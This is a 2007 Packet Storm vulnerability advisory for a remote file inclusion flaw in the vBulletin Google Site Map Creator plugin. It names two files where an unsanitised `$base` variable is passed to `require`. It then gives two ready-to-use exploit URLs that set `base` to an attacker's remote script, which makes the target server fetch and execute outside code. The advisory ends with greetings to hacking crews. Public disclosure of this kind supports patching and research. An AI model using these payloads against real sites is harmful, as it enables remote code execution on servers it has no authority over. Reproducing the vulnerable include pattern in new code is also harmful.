vbgsitemap-rfi.txt

2007-05-30T00:00:00
ID PACKETSTORM:56965
Type packetstorm
Reporter Cold z3ro
Modified 2007-05-30T00:00:00

Description

                                        
                                            `=============================================  
  
vBulletin Google Site Map Creator (base) Remote File Include Vulnerability  
  
=============================================  
Found by : Host4vb.com & Cold z3ro  
Contact : Admin@host4vb.com , Cold-z3ro@hotmail.com  
Homepage : Host4vb.com , Hack-Teach.Org  
=============================================  
Script : http://forum.time2dine.co.nz/seo-vbulletin/vbulletin-google-site-map-3976.html  
=============================================  
File :  
/vbgsitemap-vbseo.php <= Line 5  
require $base."includes/functions_vbseo.php";  
=============================================  
File :  
/vbgsitemap-config.php <= Line 139  
require $base."includes/config.php";  
=============================================  
Exploit :  
vBulletin_Forum_Bath/vbgsitemap/vbgsitemap-config.php?base=Evil-Script?  
vBulletin_Forum_Bath/vbgsitemap/vbgsitemap-vbseo.php?base=Evil-Script?  
==============================================  
Greets To : Xp10.com , Hack-Teach Members , All Arabs Hosting , Sniper-sa.com , sm4host.com  
Thanx: Mohandko , Alkomandoz Hacker , Mogatil , The Viper , The Wolf Ksa , Dr.Exe , Pro Hackers  
Thanx: Green eyas amor , Titanichacker , hacaaar , Hack Back , Mohammad Sallah , Unix Hacker  
RoMaNcYxHaCkEr , mR wEsAm X , Mr.E-vil  
Thanx: Team Hell Members (ConviCt & jEdDaWi & Black Shell & Hackers Cool & Dr.killer & Red Hat)  
`